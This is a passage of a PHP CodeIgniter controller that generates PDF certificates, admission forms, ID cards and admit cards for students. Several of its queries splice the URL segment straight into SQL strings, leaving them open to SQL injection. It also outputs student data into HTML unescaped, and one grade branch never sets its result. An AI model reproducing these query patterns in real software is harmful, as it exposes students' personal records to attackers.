")->row(); // $marks = $this->db->query("SELECT * FROM marks_table where result_id = '".@$result->id."' and year = '".@$result->year."'"); // //print_r($marks); // $rows = $marks->num_rows()+1; // $i=1; // $ttl=0; // $tot=0; // $tot_practical=0; // $tot_marks=0; // $grand_ttl=0; // $grand_total=0; // foreach($marks->result() as $mm){ // $sub = $this->db->query("SELECT * FROM subjects where id = '".$mm->subject_id."'")->row(); // $total_marks= @$sub->max_marks + @$sub->practical_max_marks; // $ob_marks=@$mm->marks + @$mm->practical_marks; // $ttl+=$mm->marks; // $tot+=$sub->max_marks; // $tot_practical+=$sub->practical_max_marks; // $tot_marks+=$mm->practical_marks; // $grand_ttl+=$ob_marks; // $grand_total+=$total_marks; // $i++; // } $grand_ttl=0; $grand_total=0; if(empty($this->uri->segment(3))){ $division=''; }elseif(!isset($result->obt_marks) && !isset($result->max_marks)){ $division=''; $grand_ttl=0; $grand_total=0; //die(var_dump($result->obt_marks ,$result->max_marks)); }else{ $grand_ttl=@$result->obt_marks; $grand_total=@$result->max_marks; $x=(@$grand_ttl/@$grand_total)*100; // echo $x; if($x<33 ){ $division='FAILED' ; } elseif($x>=33 && $x<45){ $division='PASSED WITH THIRD DIVISION' ; } elseif($x>=45 && $x<60){ $division='PASSED WITH SECOND DIVISION' ; } elseif($x>=60 && $x<75){ $division='PASSED WITH FIRST DIVISION' ; }elseif($x>=75){ $division='PASSED WITH HOUNOURS ' ; } } // $division=''; // $x=($grand_ttl/$grand_total)*100; // if($x<33 ) { // $division.= ' RESULT : FAILED '; // } // elseif($x>=33 && $x<45){ // $division.='RESULT : PASSED WITH THIRD DIVISION'; // } // elseif($x>=45 && $x<60){ // 'RESULT : PASSED WITH SECOND DIVISION'; // } // elseif($x>=60 && $x<75){ // $division.='RESULT : PASSED WITH FIRST DIVISION'; // }elseif($x>=75){ // $division.='RESULT : PASSED WITH HOUNOURS '; // } // $header_image= base_url('uploads/').'CERTIFICATEIMAGE.png'; $header_image= ''; $header_image.='temp/'.$result->qr_code; $qr_code=''; $qr_code.=' '; $logo =''; $date=date('F-Y',strtotime(@$result->timestamp)); // define some HTML content with style $html = <<$student->name - CERTIFICATE

ENROLLMENT NO: $student->enrollment_no

This is to certify that     $student->name

Son / Daughter of     $student->father

appeared in     $course->course_name

Examination of the Council held in     $date

and has been declared     PASS

He / She is scored     $grand_ttl  marks out of   $grand_total

marks and is placed in     $division

$qr_code
EOF; // output the HTML content //$pdf->writeHTML($html, true, false, true, false, ''); // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - // add a page //$pdf->AddPage(); // echo $html; $this->pdf->loadHtml($html); // $customPaper = array(0,0,570,570); //$this->pdf->set_paper($customPaper); $this->pdf->setPaper('A4','portrait');//landscape //$this->pdf->setPaper('A4','landscape');//landscape $this->pdf->render(); $this->pdf->stream("abc.pdf", array('Attachment'=>0)); //'Attachment'=>0 for view and 'Attachment'=>1 for download file } public function print_form() { $this->load->library('pdf'); if(empty($this->uri->segment(3))){ redirect('admin/student_list'); } $header_image= 'background-mage/Admission.JPG'; $row=$this->db->query('select *,s.name as name from students s left join centers c on s.center_id=c.id left join courses co on co.id=s.course_id left join session_year se on se.id=s.batch left join session_year ses on ses.id=s.session left join state st on st.STATE_ID=s.state left join city ci on ci.id=s.city where s.id="'.@$this->uri->segment(3).'"')->row(); if(empty($row)){ redirect('admin/student_list'); } if($row->status==0){ $status= 'CANCEL'; } elseif($row->status==1){ $status= 'APPROVE'; } $date=date('d/m/Y',strtotime(@$row->dob)); $start=$row->start; $end=$row->end; $tenth_url= ''; $tenth_url.='uploads/'.$row->tenth_marksheet; $tenth =''; $tenth.=''; $photo= ''; $photo.='uploads/'.$row->photo; $photo_url =''; $photo_url.=''; $twelve_url= ''; $twelve_url.='uploads/'.$row->twelve_marksheet; $twelve =''; $twelve.=''; $graduation_url= ''; $graduation_url.='uploads/'.$row->graduation_marksheer; $graduation =''; $graduation.=''; $graduation_degree_url= ''; $graduation_degree_url.='uploads/'.$row->graduation_degree; $graduation_degree =''; $graduation_degree.=''; // define some HTML content with styleprintbill/admit_card/4 $html = <<
1. Admission Date 2. Academy 3. Course 4. Batch 5. Session
$row->addmission_date $row->institute_name $row->course_name $start-$end $start-$end
6. Franchise 7. Student Name 8. Email-ID 9. Mobile No 10. Date of Birth
$row->institute_name $row->name $row->email $row->mobile $date
11. Mother Name 12. Father Name 13. Parent Occupation 14. Medium 15. Address
$row->mother $row->father $row->occupation $row->medium $row->address
16. Pincode 17. Country 18. State 19. City 20. Gender
$row->pincode $row->country $row->STATE_NAME $row->city_name $row->gender
21. Martial Status 22. Nationality 23. Blood Group 24. Mother Tongue 25. Religion
$row->marrital_status $row->nationality $row->blood_group $row->mother_tongue $row->religion
26. Community 27. Place of Birth 28. Physically Chanlanged 29. Occupation 30. Status
$row->community $row->father $row->occupation $row->occupation $status

Educational Qualification

Qualification Reg No. Subject Board/University Year of Completion Percentage of Marks
$row->highest_qualification $row->reg_no $row->subject $row->board $row->passing_year $row->marks%

Documents

Passport Size Photo Graph 10th Mark sheet 12th Mark sheet Graduation Mark sheet Graduation Degree
$photo_url
$tenth
$twelve
$graduation
$graduation_degree
EOF; try { $this->pdf->loadHtml($html); // $customPaper = array(0,0,570,570); // $this->pdf->set_paper($customPaper); $this->pdf->setPaper('A4','portrait');//landscape // $this->pdf->setPaper('A4','landscape'); //landscape // echo $html; // die; $this->pdf->render(); $this->pdf->stream("abc.pdf", array('Attachment'=>0)); //'Attachment'=>0 for view and 'Attachment'=>1 for download file } catch(\Throwable $th) { print_r($th->__toString());die; } } public function print_id() { $this->load->library('pdf'); if(empty($this->uri->segment(3))){ redirect('admin/student_list'); } $header_image= 'background-mage/ID-CARD.jpg'; $stu = $this->db->query("SELECT *,s.id as id FROM students s left join session_year se on s.batch=se.id left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id where s.id = '".@$this->uri->segment(3)."'"); $stu_num=$stu->num_rows(); $s = $stu->row(); $date=date('d/m/Y',strtotime(@$s->dob)); $start=$s->start; $end=$s->end; $photo= ''; $photo.='uploads/'.$s->photo; $photo_url =''; $photo_url.=''; // define some HTML content with styleprintbill/admit_card/4 $html = <<
FATHER NAME $s->father
STUDENT NAME $s->name
COURSE NAME

$s->course_name

$photo_url
BATCH $start-$end
INSTITUTE $s->institute_name
EOF; try { // echo $html; // die; $this->pdf->loadHtml($html); // $customPaper = array(0,0,570,570); // $this->pdf->set_paper($customPaper); // $this->pdf->setPaper('A4','portrait');//landscape $this->pdf->setPaper('A4','landscape'); //landscape $this->pdf->render(); $this->pdf->stream("abc.pdf", array('Attachment'=>0)); //'Attachment'=>0 for view and 'Attachment'=>1 for download file } catch(\Throwable $th) { print_r($th->__toString());die; } } public function certificate() { $this->load->library('pdf'); $result = $this->db->query("SELECT * FROM results where id = '".@$this->uri->segment(3)."' ")->row(); $student=$this->db->query("SELECT * FROM students where enrollment_no = '".@$result->enrollment_no."' ")->row(); $course=$this->db->query("SELECT * FROM courses where id = '".@$student->course_id."' ")->row(); $marks = $this->db->query("SELECT * FROM marks_table where result_id = '".@$result->id."' and year = '".@$result->year."'"); //print_r($marks); $rows = $marks->num_rows()+1; $i=1; $ttl=0; $tot=0; $tot_practical=0; $tot_marks=0; $grand_ttl=0; $grand_total=0; foreach($marks->result() as $mm){ $sub = $this->db->query("SELECT * FROM subjects where id = '".$mm->subject_id."'")->row(); $total_marks= @$sub->max_marks + @$sub->practical_max_marks; $ob_marks=@$mm->marks + @$mm->practical_marks; $ttl+=$mm->marks; $tot+=$sub->max_marks; $tot_practical+=$sub->practical_max_marks; $tot_marks+=$mm->practical_marks; $grand_ttl+=$ob_marks; $grand_total+=$total_marks; $i++; } $division=''; $x=($grand_ttl/$grand_total)*100; if($x<33 ) { $division.= ' RESULT : FAILED '; } elseif($x>=33 && $x<45){ $division.='RESULT : PASSED WITH THIRD DIVISION'; } elseif($x>=45 && $x<60){ 'RESULT : PASSED WITH SECOND DIVISION'; } elseif($x>=60 && $x<75){ $division.='RESULT : PASSED WITH FIRST DIVISION'; }elseif($x>=75){ $division.='RESULT : PASSED WITH HOUNOURS '; } // $header_image= base_url('uploads/').'CERTIFICATEIMAGE.png'; $logo =''; $date=date('F-Y',strtotime(@$result->timestamp)); // define some HTML content with style $html = <<

This is to certify that     $student->name

Son / Daughter of     $student->father

appeared in     $course->course_name

Examination of the Council held in     $date

and has been declared     PASS

He / She is scored  & nbsp;  $grand_ttl  marks out of   $grand_total

marks and is placed in     $division

EOF; // output the HTML content //$pdf->writeHTML($html, true, false, true, false, ''); // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - // add a page //$pdf->AddPage(); // echo $html; $this->pdf->loadHtml($html); // $customPaper = array(0,0,570,570); //$this->pdf->set_paper($customPaper); $this->pdf->setPaper('A4','portrait');//landscape // $this->pdf->setPaper('A4','landscape');//landscape $this->pdf->render(); $this->pdf->stream("abc.pdf", array('Attachment'=>0)); //'Attachment'=>0 for view and 'Attachment'=>1 for download file } public function demo_id() { $this->load->library('pdf'); if(empty($this->uri->segment(3))){ redirect('admin/student_list'); } $header_image= 'background-mage/ADMIT-CARD-BG.png'; $stu = $this->db->query("SELECT *,s.id as id,s.name as student_name FROM students s left join session_year se on s.batch=se.id left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join blood_group on blood_group.BG_ID=s.blood_group where s.id = '".@$this->uri->segment(3)."'"); $stu_num=$stu->num_rows(); $s = $stu->row(); $date=date('d/m/Y',strtotime(@$s->dob)); $start=$s->start; $end=$s->end; $photo= ''; $photo.='uploads/'.$s->photo; $photo_url =''; $photo_url.=''; $base_url = 'www.vhtecindia.com'; // define some HTML content with style $html = << ADMIT CARD - $s->student_name
Name: $s->student_name
Father Name: $s->father
Blood Group :$s->BG_NAME
Course Name:$s->course_name
Batch:$start-$end
Enroll No:$s->enrollment_no
Branch:$s->institute_name

$photo_url

$base_url Authorised Signatory
EOF; // output the HTML content //$pdf->writeHTML($html, true, false, true, false, ''); // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - // add a page //$pdf->AddPage(); // echo $html; // die; $this->pdf->loadHtml($html); // $customPaper = array(0,0,570,570); //$this->pdf->set_paper($customPaper); // $this->pdf->setPaper('A4','portrait');//landscape $this->pdf->setPaper('A4','landscape');//landscape $this->pdf->render(); $this->pdf->stream("abc.pdf", array('Attachment'=>0)); //'Attachment'=>0 for view and 'Attachment'=>1 for download file } } ?>